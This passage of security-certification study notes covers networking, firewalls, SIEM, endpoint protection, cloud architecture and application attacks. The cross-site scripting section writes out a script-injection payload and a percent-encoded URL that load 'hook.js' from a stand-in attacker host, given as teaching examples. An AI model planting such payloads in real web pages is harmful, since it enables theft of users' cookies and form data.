requests can be routed to another server in the farm.
● There are two main types of load balancers:
○ Layer 4 load balancer—basic load balancers make forwarding decisions
on IP address and TCP/UDP port values, working at the transport layer of
the OSI model.
○ Layer 7 load balancer (content switch)—as web applications have become
more complex, modern load balancers need to be able to make forwarding
decisions based on application-level data, such as a request for a
particular URL or data types like video or audio streaming.
● Scheduling:
○ The scheduling algorithm is the code and metrics that determine which
node is selected for processing each incoming request.
○ The simplest type of scheduling is called round robin; this just means
picking the next node.
○ The load balancer must also use some type of heartbeat or health check
probe to verify whether each node is available and under load or not.
● Source IP Affinity and Session Persistence:
○ Session Affinity: A scheduling approach used by load balancers to route
traffic to devices that have already established connections with the client
in question.
○ Session Persistence: the configuration option that enables a client to
maintain a connection with a load-balanced server over the duration of the
session.
Clustering
● A load balancing technique where a group of servers are configured as a unit
and work together to provide network services.
● If one of the nodes in the cluster stops working, connections can failover to a
working node.
● Virtual IP:
○ Unlike load balancing with a single appliance, the public IP used to access
the service is shared between the two instances in the cluster.
○ This is referred to as a virtual IP or shared or floating address.
○ The instances are configured with a private connection, on which each is
identified by its "real" IP address.
● Active/Passive (A/P) and Active/Active (A/A) Clustering:
○ The major advantage of active/passive configurations is that performance
is not adversely affected during failover.
○ An active/active cluster means that both nodes are processing
connections concurrently.
■ In the event of a failover the workload of the failed node is
immediately and transparently shifted onto the remaining node.
● Application Clustering:
○ Application clustering allows servers in the cluster to communicate
session information to one another.
○ For example, if a user logs in on one instance, the next session can start
on another instance, and the new server can access the cookies or other
information used to establish the login.
IPTables
● iptables is a command line utility provided by many Linux distributions that
allows administrators to edit the rules enforced by the Linux kernel firewall
● iptables works with chains, which apply to the different types of traffic, such as
the INPUT chain for traffic destined for the local host.
● Each chain has a default policy set to DROP or ACCEPT traffic that does not
match a rule.
● The command iptables --list INPUT --line-numbers -n will show
the contents of the INPUT chain with line numbers and no name resolution.
● The rules in the following example drop any traffic from the specific host at
10.1.0.192 and allow ICMP echo requests (pings), DNS, and HTTP/HTTPS traffic
either from the local subnet (10.1.0.0/24) or from any network (0.0.0.0/0):
○
● The destination 0.0.0.0/0 means "anywhere."
Firewall Implementation
● You should consider how the firewall is implemented—as hardware or software,
for instance—to cover a given placement or use on the network.
● Firewall Appliances:
○ An appliance firewall is a stand-alone hardware firewall deployed to
monitor traffic passing into and out of a network zone.
○ A firewall appliance can be deployed in two ways:
■ Routed (layer 3)—the firewall performs forwarding between
subnets.
● Each interface on the firewall connects to a different subnet
and represents a different security zone.
■ Bridged (layer 2)—the firewall inspects traffic passing between two
nodes, such as a router and a switch.
● A router firewall or firewall router appliance implements filtering functionality as
part of the router firmware.
● Application-Based Firewalls:
○ Firewalls can also run as software on any type of computing host.
○ Host-based firewall (or personal firewall)—implemented as a software
application running on a single host designed to protect that host only.
■ A personal firewall can be used to allow or deny software
processes from accessing the network.
○ Application firewall—software designed to run on a server to protect a
particular application only (a web server firewall, for instance, or a firewall
designed to protect an SQL Server database).
○ Network operating system (NOS) firewall—a software-based firewall
running under a network server OS, such as Windows or Linux.
■ The server would function as a gateway or proxy for a network
segment.
Virtual Firewalls
● Virtual firewalls are usually deployed within data centers and cloud services.
● Hypervisor-based—this means that filtering functionality is built into the
hypervisor or cloud provisioning tool.
○ You can use the cloud's web app or application programming interface
(API) to write access control lists (ACLs) for traffic arriving or leaving a
virtual host or virtual network.
● Virtual appliance—this refers to deploying a vendor firewall appliance instance
using virtualization, in the same way you might deploy a Windows or Linux guest
OS.
● Multiple context—this refers to multiple virtual firewall instances running on a
hardware firewall appliance.
Signature-Based Detection
● Signature-based detection (or pattern-matching) means that the engine is
loaded with a database of attack patterns or signatures.
● If traffic matches a pattern, then the engine generates an incident.
● The signatures and rules (often called plug-ins or feeds) powering intrusion
detection need to be updated regularly to provide protection against the latest
threat types.
Monitoring Services
● Network Monitor:
○ collects data about network appliances, such as switches, access points,
routers, firewalls, and servers.
○ This is used to monitor load status for CPU/memory, state tables, disk
capacity, fan speeds/temperature, network link utilization/error statistics,
and so on.
○ This data might be collected using the Simple Network Management
Protocol (SNMP) or a proprietary management system.
● Logs:
○ A security log can record both authorized and unauthorized uses of a
resource or privilege.
Security Information and Event Management
● A solution that provides real-time or near-real-time analysis of security alerts
generated by network hardware and applications.
● Log Collection:
○ The first task for SIEM is to collect data inputs from multiple sources.
● There are three main types of log collection:
○ Agent-based—with this approach, you must install an agent service on
each host.
○ Listener/collector—rather than installing an agent, hosts can be
configured to push updates to the SIEM server using a protocol such as
syslog or SNMP.
○ Sensor—as well as log data, the SIEM might collect packet captures and
traffic flow data from sniffers.
● Log Aggregation:
○ refers to normalizing data from different sources so that it is consistent
and searchable.
File Manipulation
● While SIEM can automate many functions of log collection and review, you may
also have to manually prepare data using a Linux command line.
● The Cat Command:
○ The Linux cat command allows you to view the contents of one or more
files.
○ For example, if you want to view the whole contents of two rotated log
files, you could run: cat -n access.log access2.log
○ The -n switch adds line numbers
● The head and tail Commands:
○ The head and tail commands output the first and last 10 lines
respectively of a file you provide.
● The Logger Command:
○ The logger command writes input to the local system log or to a remote
syslog server.
Regular Expressions and GREP
● Regular Expressions (regex): A group of characters that describe how to execute
a specific search pattern on a given text.
● The following list illustrates some commonly used elements of regex syntax:
○ [ … ] matches a single instance of a character within the brackets. This
can include literals, ranges such as [a-z], and token matches, such as [\s]
(white space) or [\d] (one digit).
○ + matches one or more occurrences. A quantifier is placed after the term
to match; for example, \s+ matches one or more white space characters.
○ * matches zero or more times.
○ ? matches once or not at all.
○ {} matches a number of times. For example, {2} matches two times, {2,}
matches two or more times, and {2,5} matches two to five times.
● Grep Command: The grep command invokes simple string matching or regex
syntax to search text files for specific strings.
○ This enables you to search the entire contents of a text file for a specific
pattern within each line and display that pattern on the screen or dump it
to another file.
DNS Security
● To ensure DNS security on a private network, local DNS servers should only
accept recursive queries from local hosts (preferably authenticated local hosts)
and not from the Internet.
● You also need to implement access control measures on the server, to prevent a
malicious user from altering records manually.
● DNS Security Extensions (DNSSEC):
○ Help to mitigate against spoofing and poisoning attacks by providing a
validation process for DNS responses.
○ With DNSSEC enabled, the authoritative server for the zone creates a
"package" of resource records (called an RRset) signed with a private key
(the Zone Signing Key).
Time Synchronization
● The Network Time Protocol (NTP) provides a transport over which to synchronize
these time dependent applications. NTP works over UDP on port 123.
● Top-level NTP servers (stratum 1) obtain the Coordinated Universal Time (UTC)
from a highly accurate clock source, such as an atomic clock.
● Lower tier servers then obtain the UTC from multiple stratum 1 servers and
sample the results to obtain an authoritative time.
● NTP has historically lacked any sort of security mechanism, but there are moves
to create a security extension for the protocol called Network Time Security.
Simple Network Management Protocol Security
● The Simple Network Management Protocol (SNMP) is a widely used
framework for management and monitoring. SNMP consists of an SNMP monitor
and agents.
● The agent is a process (software or firmware) running on a switch, router, server,
or other SNMP-compatible network device.
● This agent maintains a database called a management information base (MIB)
that holds statistics relating to the activity of the device (for example, the number
of frames per second handled by a switch).
○ The agent is also capable of initiating a trap operation where it informs the
management system of a notable event (port failure, for instance).
● The SNMP monitor (a software program) provides a location from which network
activity can be overseen.
○ It monitors all agents by polling them at regular intervals for information
from their MIBs and displays the information for review.
API Considerations
● HTTP is now used less to serve static web pages, and more to create web
applications, often as part of a cloud product.
● The primary means of configuring and managing a web application is via its
application programming interface (API).
● The developer uses the POST method to submit data to the URL with the
required parameters coded into the request body, often in JavaScript Object
Notation (JSON).
● Use of these APIs is authorized via a token or secret key.
Subscription Services
● Employees may require access to all kinds of subscription services. Some
examples include:
○ Market and financial intelligence and information.
○ Security threat intelligence and information.
○ Reference and training materials in various formats (ebook and video, for
instance).
○ Software applications and cloud services paid for by subscription rather
than permanent licenses.
● XML Injection:
○ Attack method where malicious XML is passed as input to exploit a
vulnerability in the target app.
Email Services
● The Simple Mail Transfer Protocol (SMTP) transmits email messages from one
system to another.
● The Post Office Protocol v3 (POP3) receives email messages from an email
server to store on a client computer.
● Secure SMTP (SMTPS):
○ A sender’s SMTP server discovers the IP address of the recipient’s SMTP
server using the domain name of the recipient’s email address.
● There are two ways for SMTP to use TLS:
○ STARTTLS—this is a command that upgrades an existing unsecure
connection to use TLS. This is also referred to as explicit TLS or
opportunistic TLS.
○ SMTPS—this establishes the secure connection before any SMTP
commands (HELO, for instance) are exchanged. This is also referred to as
implicit TLS.
● Secure POP (POP3S):
○ When a recipient’s email client connects to a server mailbox, POP3
downloads the email messages.
○ A POP3 client application, such as Microsoft Outlook or Mozilla
Thunderbird, establishes a TCP connection to the POP3 server over port
110.
● Secure IMAP (IMAPS):
○ Compared to POP3, the Internet Message Access Protocol v4 (IMAP4)
supports permanent connections to a server and connecting multiple
clients to the same mailbox simultaneously.
○ It also allows a client to manage mail folders on the server. Clients
connect to IMAP over TCP port 143.
○
● A VPN can also be deployed in a site-to-site model to connect two or more
private networks.
○ Where remote access VPN connections are typically initiated by the client,
a site-to-site VPN is configured to operate automatically.
○ The gateways exchange security information using whichever protocol the
VPN is based on.
○ This establishes a trust relationship between the gateways and sets up a
secure connection through which to tunnel data.
○
Remote Desktop
● Microsoft's Remote Desktop Protocol (RDP) can be used to access a physical
machine on a one-to-one basis.
● HTML5 VPN: Using features of HTML5 to implement remote desktop/VPN
connections via browser software (clientless).
Boot Integrity
● Most PCs implement the unified extensible firmware interface (UEFI).
○ UEFI provides code that allows the host to boot to an OS. UEFI can
enforce a number of boot integrity checks.
● Secure Boot:
○ Secure boot is designed to prevent a computer from being hijacked by a
malicious OS.
○ UEFI is configured with digital certificates from valid OS vendors.
○ The system firmware checks the operating system boot loader and kernel
using the stored certificate to ensure that it has been digitally signed by
the OS vendor.
● Measured Boot:
○ A trusted or measured boot process uses platform configuration registers
(PCRs) in the TPM at each stage in the boot process to check whether
hashes of key system state data (boot firmware, boot loader, OS kernel,
and critical drivers) have changed.
● Boot Attestation:
○ Report of boot state integrity data that is signed by a tamper-proof TPM
key and reported to a network server.
○ The boot log can be analyzed for signs of compromise, such as the
presence of unsigned drivers.
Disk Encryption
● Full disk encryption (FDE) means that the entire contents of the drive (or
volume), including system files and folders, are encrypted.
● Drive encryption allays this security concern by making the contents of the drive
accessible only in combination with the correct encryption key.
● FDE requires the secure storage of the key used to encrypt the drive contents.
○ Normally, this is stored in a TPM.
○ The TPM chip has a secure storage area that a disk encryption program,
such as Windows BitLocker, can write its keys to.
● One of the drawbacks of FDE is that, because the OS performs the cryptographic
operations, performance is reduced.
○ This issue is mitigated by self-encrypting drives (SED), where the
cryptographic operations are performed by the drive controller.
■ The SED uses a symmetric data/media encryption key (DEK/MEK)
for bulk encryption and stores the DEK securely by encrypting it
with an asymmetric key pair called either the authentication key
(AK) or key encryption key (KEK).
■ Use of the AK is authenticated by the user password.
USB and Flash Drive Security
● A modified device may have visual clues that distinguish it from a mass
manufactured thumb drive or cable, but these may be difficult to spot.
● Another example is the O.MG cable which packs enough processing capability
into an ordinary-looking USB-Lightning cable to run an access point and
keylogger.
Hardening
● The process of putting an operating system or application in a secure
configuration is called hardening.
● The essential principle is of least functionality; that a system should run only the
protocols and services required by legitimate users and no more.
● Services provide a library of functions for different types of applications. Some
services support local features of the OS and installed applications.
● Application service ports allow client software to connect to applications over a
network.
○ These should either be disabled or blocked at a firewall if remote access is
not required.
● Persistent storage holds user data generated by applications, plus cached
credentials.
○ Disk encryption is essential to data security.
Patch Management
● Automated vulnerability scanners can be effective at discovering missing
patches for the operating system, plus a wide range of third-party software apps
and devices/firmware.
● On residential and small networks, hosts will be configured to auto-update,
meaning that they check for and install patches automatically.
● These issues can be mitigated by deploying an enterprise patch management
suite.
○ Identifying, testing, and deploying OS and application updates.
Endpoint Protection
● Antivirus (A-V)/Anti-Malware:
○ An "A-V" product will now perform generalized malware detection,
meaning not just viruses and worms, but also Trojans, spyware, PUPs,
cryptojackers, and so on.
● Host-Based Intrusion Detection/Prevention (HIDS/HIPS):
○ Host-based intrusion detection systems (HIDS) provide threat detection
via log and file system monitoring.
○ File system integrity monitoring uses signatures to detect whether a
managed file image—such as an OS system file, driver, or application
executable—has changed.
● Endpoint Protection Platform (EPP):
○ An endpoint protection platform (EPP) is a single agent performing
multiple security tasks, including malware/intrusion detection and
prevention, but also other security features, such as a host firewall, web
content filtering/secure search and browsing, and file/message encryption.
● Data Loss Prevention (DLP):
○ Many EPPs include a data loss prevention (DLP) agent.
○ This is configured with policies to identify privileged files and strings that
should be kept private or confidential, such as credit card numbers.
○ The agent enforces the policy to prevent data from being copied or
attached to a message without authorization.
● Endpoint Protection Deployment:
○ While specific products vary widely in terms of features and
implementation detail, some generic tasks to implement endpoint
protection include:
■ 1. Configure the management system to push the agent software
and any updates to all desktops. This will require configuring
permissions and firewall settings.
■ 2. Assign hosts to appropriate groups for policy assignment. For
example, client endpoints have very different security requirements
to servers.
■ 3. Test the different host group configuration settings to ensure that
the expected range of threats is detected.
■ 4. Use a monitoring dashboard to verify status across all network
hosts. Apart from detection events, if the agent is disabled or
missing, there should be an alert.
Antivirus Response
● An on-access antivirus scanner or intrusion prevention system works by
identifying when processes or scripts are executed and intercepting (or hooking)
the call to scan the code first.
● If the code matches a signature of known malware or exhibits malware-like
behavior that matches a heuristic profile, the scanner will prevent execution and
attempt to take the configured action on the host file (clean, quarantine, erase,
and so on).
● An alert will be displayed to the user and the action will be logged (and also may
generate an administrative alert).
● Advanced Malware Tools:
○ When you identify symptoms such as these, but the AV scanner or EPP
agent does not report an infection, you will need to analyze the host for
malware using advanced tools.
● Sandboxing:
○ Sandboxing is a technique that isolates an untrusted host or app in a
segregated environment to conduct tests.
Embedded Systems
● An embedded system is a complete computer system that is designed to
perform a specific, dedicated function.
● Embedded systems can be characterized as static environments.
○ A static environment does not allow or require such frequent changes.
● A PC is a dynamic environment.
○ The user can add or remove programs and data files, install new hardware
components, and upgrade the operating system.
● Cost, Power, and Compute Constraints:
○ Embedded systems are usually constrained in terms of processor
capability (cores and speed), system memory, and persistent storage.
○ The other factor determining compute resources is power.
■ Many embedded devices are battery-powered, and may need to
run for years without having to replace the cells.
■ This means that processing must be kept to the minimum possible
level.
● Crypto, Authentication, and Implied Trust Constraints:
○ The lack of computer resources means that embedded systems are not
well-matched to the cryptographic identification and authentication
technologies that are widely used on computer networks.
○ As embedded systems become more accessible via those networks,
however, they need to use cryptoprocessors to ensure confidentiality,
integrity, and availability.
● Network and Range Constraints:
○ Networks for embedded systems emphasize power-efficient transfer of
small amounts of data with a high degree of reliability and low latency.
Internet of Things
● The term Internet of Things (IoT) is used to describe a global network of
appliances and personal devices that have been equipped with sensors,
software, and network connectivity
Specialized Systems in IT
● Multifunction Printers (MFPs):
○ Often these print/scan/fax functions are performed by single devices,
referred to as multifunction printers (MFPs).
■ Any device that performs more than one function, but typically print
devices that can also scan and fax.
○ Some of the more feature-rich, networked printers and MFPs can also be
used as a pivot point to attack the rest of the network.
● Voice over IP (VoIP):
○ Types of embedded systems are used to implement both Voice over IP
(VoIP) endpoints and media gateways.
Remote Wipe
● A remote wipe or kill switch means that if the handset is stolen it can be set to
the factory defaults or cleared of any personal data (sanitization).
● The remote wipe could be triggered by several incorrect passcode attempts or by
enterprise management software.
● In theory, a thief can prevent a remote wipe by ensuring the phone cannot
connect to the network, then hacking the phone and disabling the security.
Location Services
● Geolocation is the use of network attributes to identify (or estimate) the physical
position of a device.
● The device uses location services to determine its current position. Location
services can make use of two systems:
○ Global Positioning System (GPS)—a means of determining the device's
latitude and longitude based on information received from satellites via a
GPS sensor.
○ Indoor Positioning System (IPS)—works out a device's location by
triangulating its proximity to other radio sources, such as cell towers, Wi-Fi
access points, and Bluetooth/RFID beacons.
● Geofencing and Camera/Microphone Enforcement:
○ Geofencing is the practice of creating a virtual boundary based on real-
world geography.
● GPS Tagging:
○ GPS tagging is the process of adding geographical identification
metadata, such as the latitude and longitude where the device was
located at the time, to media such as photographs, SMS messages, video,
and so on.
○ GPS tagged pictures uploaded to social media could be used to track a
person's movements and location.
Application Management
● When a device is joined to the corporate network through enrollment with
management software, it can be configured into an enterprise workspace mode
in which only a certain number of authorized applications can run.
● A trusted app source is one that is managed by a service provider.
● The service provider authenticates and authorizes valid developers, issuing them
with a certificate to use to sign their apps and warrant them as trusted.
● It may also analyze code submitted to ensure that it does not pose a security or
privacy risk to its customers (or remove apps that are discovered to pose such a
risk).
● It might not be appropriate to deliver a custom corporate app via a public store,
where anyone could download it.
○ Apple operates enterprise developer and distribution programs to solve
this problem, allowing private app distribution via Apple Business
Manager.
Content Management
● Containerization allows the employer to manage and maintain the portion of the
device that interfaces with the corporate network.
● An enterprise workspace with a defined selection of apps and a separate
container is created.
○ This container isolates corporate apps from the rest of the device.
○ The container can also enforce storage segmentation.
Application Attacks
● An application vulnerability is a design flaw that can cause the application
security system to be circumvented or that will cause the application to crash.
● Privilege Escalation:
○ The purpose of most application attacks is to allow the threat actor to run
his or her own code on the system.
■ This is referred to as arbitrary code execution.
○ Where the code is transmitted from one machine to another, it can be
referred to as remote code execution.
○ Depending on how the software is written, a process may run using a
system account, the account of the logged-on user, or a nominated
account.
○ There are two main types of privilege escalation:
■ Vertical privilege escalation (or elevation) is where a user or
application can access functionality or data that should not be
available to them.
● For instance, a process might run with local administrator
privileges, but a vulnerability allows the arbitrary code to run
with higher system privileges.
■ Horizontal privilege escalation is where a user accesses
functionality or data that is intended for another user.
● For instance, via a process running with local administrator
privileges on a client workstation, the arbitrary code is able
to execute as a domain account on an application server.
● Error Handling:
○ An application attack may cause an error message.
○ In Windows, this may be of the following types: "Instruction could not be
read or written," "Undefined exception," or "Process has encountered a
problem."
○ One issue for error handling is that the application should not reveal
configuration or platform details that could help an attacker.
● Improper Input Handling:
○ Most software accepts user input of some kind, whether the input is typed
manually or passed to the program by another program, such as a
browser passing a URL to a web server or a Windows process using
another process via its application programming interface.
Overflow Vulnerabilities
● In an overflow attack, the threat actor submits input that is too large to be stored
in a variable assigned by the application.
● Unsuccessful attempts may be revealed through unexplained crashes or error
messages following a file download, execution of a new app or a script, or
connection of new hardware.
● Buffer Overflow:
○ A buffer is an area of memory that the application reserves to store
expected data.
○ To exploit a buffer overflow vulnerability, the attacker passes data that
deliberately overfills the buffer.
○ One of the most common vulnerabilities is a stack overflow.
■ The stack is an area of memory used by a program subroutine. It
includes a return address, which is the location of the program that
has called the subroutine.
● Integer Overflow:
○ An attack in which a computed result is too large to fit in its assigned
storage space, which may lead to crashing or data corruption, and may
trigger a buffer overflow.
○ This may cause a positive number to become negative (changing a bank
debit to a credit, for instance). It could also be used where the software is
calculating a buffer size.
●
Uniform Resource Locator Analysis
● A uniform resource locator (URL) can encode some action or data to submit to
the server host. This is a common vector for malicious activity.
●
● HTTP Methods:
○ An HTTP session starts with a client (a user-agent, such as a web
browser) making a request to an HTTP server.
○ The connection establishes a TCP connection.
○ This TCP connection can be used for multiple requests, or a client can
start new TCP connections for different requests.
○ A request typically comprises a method, a resource (such as a URL path),
version number, headers, and body.
○ Data can be submitted to a server either by using a POST or PUT method
and the HTTP headers and body, or by encoding the data within the URL
used to access the resource.
○ Data submitted via a URL is delimited by the ? character, which follows
the resource path.
● Percent Encoding:
○ A URL can contain only unreserved and reserved characters from the
ASCII set.
○ Reserved ASCII characters are used as delimiters within the URL syntax
and should only be used unencoded for those purposes.
○ The reserved characters are:
■ : / ? # [ ] @ ! $ & ' ( ) * + , ; =
○ There are also unsafe characters, which cannot be used in a URL.
■ Control characters, such as null string termination, carriage return,
line feed, end of file, and tab, are unsafe.
○ Percent encoding allows a user-agent to submit any safe or unsafe
character (or binary data) to the server within the URL.
○ Percent encoding can be misused to obfuscate the nature of a URL
(encoding unreserved characters) and submit malicious input.
Replay Attacks
● Session management is particularly important when it comes to user
authentication, as it is required to ensure the integrity of the account and the
confidentiality of data associated with it.
● To establish a session, the server normally gives the client some type of token.
● A replay attack works by sniffing or guessing the token value and then
submitting it to re-establish the session illegitimately.
● HTTP is nominally a stateless protocol, meaning that the server preserves no
information about the client, but mechanisms such as cookies have been
developed to preserve stateful data.
○ A cookie is created when the server sends an HTTP response header with
the cookie data.
○ A cookie has a name and value, plus optional security and expiry
attributes.
○
● Clickjacking:
○ Clickjacking is an attack where what the user sees and trusts as a web
application with some sort of login page or form contains a malicious layer
or invisible iFrame (a web page embedded inside another web page) that
allows an attacker to intercept or redirect user input.
○ Clickjacking can be mitigated by using HTTP response headers that
instruct the browser not to open frames from different origins (domains)
and by ensuring that any buttons or input boxes on a page are positioned
on the top-most layer.
● SSL Strip:
○ A Secure Sockets Layer (SSL) strip attack is launched against clients on a
local network as they try to make connections to websites.
○ The threat actor must first perform a Man-in-the-Middle attack via Address
Resolution Protocol (ARP) positioning to masquerade as the default
gateway.
○ When a client requests an HTTP site that redirects to an HTTPS site in an
unsafe way, the sslstrip utility (https://github.com/moxie0/sslstrip) proxies
the request and response, serving the client the HTTP site, hopefully with
an unencrypted login form.
○ If the user enters credentials, they will be captured by the threat actor.
Sites can use the HTTP Strict Transport Security (HSTS) lists maintained
by browsers to prevent clients requesting HTTP in the first place.
Cross-Site Scripting
● A cross-site scripting (XSS) attack exploits the fact that the browser is likely to
trust scripts that appear to come from a site the user has chosen to visit.
● XSS inserts a malicious script that appears to be part of the trusted site. A
nonpersistent type of XSS attack would proceed as follows:
○ 1. The attacker identifies an input validation vulnerability in the trusted site.
○ 2. The attacker crafts a URL to perform a code injection against the
trusted site. This could be coded in a link from the attacker's site to the
trusted site or a link in an email message.
○ 3. When the user clicks the link, the trusted site returns a page containing
the malicious code injected by the attacker. As the browser is likely to be
configured to allow the site to run scripts, the malicious code will execute.
● The malicious code could be used to deface the trusted site (by adding any sort
of arbitrary HTML code), steal data from the user's cookies, try to intercept
information entered into a form, perform a request forgery attack, or try to install
malware
● An attack where the malicious input comes from a crafted link is a reflected or
nonpersistent XSS attack.
○ A stored/persistent XSS attack aims to insert code into a back-end
database or content management system used by the trusted site.
○ For example, the attacker may submit a post to a bulletin board with a
malicious script embedded in the message.
○ When other users view the message, the malicious script is executed. For
example, with no input sanitization, a threat actor could type the following
into a new post text field:
■ Check out this amazing <a
href="https://trusted.foo">website</a><script
src="https://badsite.foo/hook.js"></script>.
○ Users viewing the post will have the malicious script hook.js execute in
their browser.
● A third type of XSS attack exploits vulnerabilities in client-side scripts.
○ Such scripts often use the Document Object Model (DOM) to modify the
content and layout of a web page.
○ For example, the "document.write" method enables a page to take some
user input and modify the page accordingly.
○ An exploit against a client-side script could work as follows:
■ The attacker identifies an input validation vulnerability in the trusted
site. For example, a message board might take the user's name
from an input text box and show it in a header.
https://trusted.foo/messages?user=james
■ The attacker crafts a URL to modify the parameters of a script that
the server will return, such as:
https://trusted.foo/messages?user=James%3Cscript
%20src%3D%22https%3A%2F%2Fbadsite.foo%2Fhook.js
%22%3E%3C%2Fscript%3E
■ The server returns a page with the legitimate DOM script
embedded, but containing the parameter:
James<script
src="https://badsite.foo/hook.js"></script>
■ The browser renders the page using the DOM script, adding the
text "James" to the header, but also executing the hook.js script at
the same time.
●
● SSRF encompasses a very wide range of potential exploits and targets, some of
which include:
○ Reconnaissance—a response may contain metadata describing the type
and configuration of internal servers. SSRF can also be used to port scan
within the internal network.
○ Credential stealing—a response may contain an API key that the internal
servers use between themselves.
○ Unauthorized requests—the server-initiated request might change data or
access a service in an unauthorized way.
○ Protocol smuggling—despite initially being carried over HTTP, the SSRF
might target an internal SMTP or FTP server.
Scripting
● Automation using scripting means that each configuration or build task is
performed by a block of code.
● A script will use the following elements:
○ Parameters that the script takes as input data (passed to the script as
arguments).
○ Branching and looping statements that can alter the flow of execution
based on logic conditions.
○ Validation and error handlers to check inputs and ensure robust execution.
○ Unit tests to ensure that the script returns the expected outputs, given the
expected inputs.
Man-In-The-Browser Attack
● A man-in-the-browser (MitB) attack is a specific type of on-path attack where
the web browser is compromised.
● Depending on the level of privilege obtained, the attacker may be able to inspect
session cookies, certificates, and data, change browser settings, perform
redirection, and inject code.
● A MitB attack may be accomplished by installing malicious plug-ins or scripts or
intercepting calls between the browser process and DLLs.
Software Diversity
● An application's runtime environment will use one of two approaches for
execution on a host system:
○ Compiled code is converted to binary machine language that can run
independently on the target OS.
○ Interpreted code is packaged pretty much as is but is compiled line-by-line
by an interpreter, such as PowerShell or JavaScript.
● Software diversity can refer to obfuscation techniques to make code difficult to
detect as malicious.
○ This is widely used by threat actors in the form of shellcode compilers to
avoid signature detection, such as the venerable Shikata Ga Nai.
○ This can be used as a defensive technique. Obfuscating API methods and
automation code makes it harder for a threat actor to reverse engineer
and analyze the code to discover weaknesses.
Security as a Service
● You can classify such support in three general "tiers":
○ Consultants—the experience and perspective of a third-party professional
can be hugely useful in improving security awareness and capabilities in
any type of organization (small to large).
○ Managed Security Services Provider (MSSP)—a means of fully
outsourcing responsibility for information assurance to a third party.
■ This type of solution is expensive but can be a good fit for a SMB
that has experienced rapid growth and has no in-house security
capability.
○ Security as a Service (SECaaS)—can mean lots of different things, but is
typically distinguished from an MSSP as being a means of implementing a
particular security control, such as virus scanning or SIEM-like
functionality, in the cloud.
■ For example, an antivirus agent would scan files locally but be
managed and updated from the cloud provider.
VM Sprawl Avoidance
● Each VM needs to be installed with its own security software suite to protect
against malware and intrusion attempts.
● Although one of the primary benefits of virtualization is the ease of deploying new
systems, this type of system sprawl and deployment of undocumented assets
can also be the root of security issues.
● Virtual machine life cycle management (VMLM) software can be deployed to
enforce VM sprawl avoidance.
○ VMLM solutions provide you with a centralized dashboard for maintaining
and monitoring all the virtual environments in your organization.
High Availability
● Replication:
○ Data replication allows businesses to copy data to where it can be
utilized most effectively.
○ Data replication requires low-latency network connections, security, and
data integrity.
○ The terms hot and cold storage refer to how quickly data is retrieved.
■ Hot storage retrieves data more quickly than cold, but the quicker
the data retrieval, the higher the cost.
● High Availability across Zones:
○ The availability zones have independent data centers with their own
power, cooling, and network connectivity.
○ Local replication—replicates your data within a single data center in the
region where you created your storage account.
○ Regional replication (also called zone-redundant storage)—replicates your
data across multiple data centers within one or two regions.
○ Geo-redundant storage (GRS)—replicates your data to a secondary
region that is distant from the primary region.
Cloud Networking Security
● Virtual Private Clouds (VPCs):
○ Each customer can create one or more virtual private clouds (VPCs)
attached to their account.
○ By default, a VPC is isolated from other CSP accounts and from other
VPCs operating in the same account.
● Public and Private Subnets:
○ Each subnet within a VPC can either be private or public.
○ To configure a public subnet, first an Internet gateway (virtual router) must
be attached to the VPC configuration.
○ The Internet gateway performs 1:1 network address translation (NAT) to
route Internet communications to and from the instance.
VPC Endpoints
● A VPC endpoint is a means of publishing a service so that it is accessible by
instances in other VPCs using only the AWS internal network and private IP
addresses.
● This means that the traffic is never exposed to the Internet.
● There are two types of VPC endpoint: gateway and interface.
● Gateway Endpoints:
○ A gateway endpoint is used to connect instances in a VPC to the AWS S3
(storage) and DynamoDB (database) services.
○ A gateway endpoint is configured as a route to the service in the VPC's
route table.
● Interface Endpoints:
○ An interface endpoint makes use of AWS's PrivateLink feature to allow
private access to custom services:
■ A custom service provider VPC is configured by publishing the
service with a DNS host name.
■ A VPC endpoint interface is configured in each service consumer
VPC subnet.
■ Each instance within the VPC subnet is configured to use the
endpoint address to contact the service provider.
Security Groups
● In AWS, basic packet filtering rules managing traffic that each instance will
accept can be managed through security groups.
● A security group provides stateful inbound and outbound filtering at layer 4.
○ The stateful filtering property means that it will allow established and
related traffic if a new connection has been accepted.
● There are no deny rules for security groups; any traffic that does not match an
allow rule is dropped.
Serverless Architecture
● Serverless is a modern design pattern for service delivery. It is strongly
associated with modern web applications—most notably Netflix.
● With serverless, all the architecture is hosted within a cloud, but unlike
"traditional" virtual private cloud (VPC) offerings, services such as authentication,
web applications, and communications aren't developed and managed as
applications running on VM instances located within the cloud.
● The serverless paradigm eliminates the need to manage physical or virtual
server instances, so there is no management effort for software and patches,
administration privileges, or file system security monitoring.
Infrastructure as Code
● A provisioning architecture in which deployment of resources is performed by
scripted automation and orchestration.
● One of the goals of IaC is to eliminate snowflake systems.
○ A snowflake is a configuration or build that is different from any other.
○ The lack of consistency—or drift—in the platform environment leads to
security issues, such as patches that have not been installed, and stability
issues, such as scripts that fail to run because of some small configuration
difference.
● Idempotence: In an IaC architecture, the property that an automation or
orchestration action always produces the same result, regardless of the
component's previous state.
Software-Defined Networking
● In this model, network functions can be divided into three "planes":
○ Control plane—makes decisions about how traffic should be prioritized
and secured, and where it should be switched.
○ Data plane—handles the actual switching and routing of traffic and
imposition of security access controls.
○ Management plane—monitors traffic conditions and network status.
● A software-defined networking (SDN) application can be used to define policy
decisions on the control plane.
○ These decisions are then implemented on the data plane by a network
controller application, which interfaces with the network devices using
APIs.
○ The interface between the SDN applications and the SDN controller is
described as the "northbound" API, while that between the controller and
appliances is the "southbound" API.
Software-Defined Visibility
● APIs for reporting configuration and state data for automated monitoring and
alerting.
● Visibility is the near real-time collection, aggregation, and reporting of data about
network traffic flows and the configuration and status of all the hosts,
applications, and user accounts participating in it.
Fog and Edge Computing
● However, a very large and increasing amount of cloud data processing takes
place with data generated by Internet of Things (IoT) devices and sensors.
● Fog Computing: Provisioning processing resource between the network edge of
IoT devices and the data center to reduce latency.
● Edge computing is a broader concept partially developed from fog computing
and partially evolved in parallel to it.
● Edge computing uses the following concepts:
○ Edge devices are those that collect and depend upon data for their
operation.
■ For example, a thermometer in an HVAC system collects
temperature data; the controller in an HVAC system activates the
electromechanical components to turn the heating or air
conditioning on or off in response to ambient temperature changes.
○ Edge gateways perform some pre-processing of data to and from edge
devices to enable prioritization.
Data Classifications
● Data classification and typing schemas tag data assets so that they can be
managed through the information life cycle.
● Many data classification schemas are based on the degree of confidentiality
required:
○ Public (unclassified)—there are no restrictions on viewing the data.
■ Public information presents no risk to an organization if it is
disclosed but does present a risk if it is modified or not available.
○ Confidential (secret)—the information is highly sensitive, for viewing only
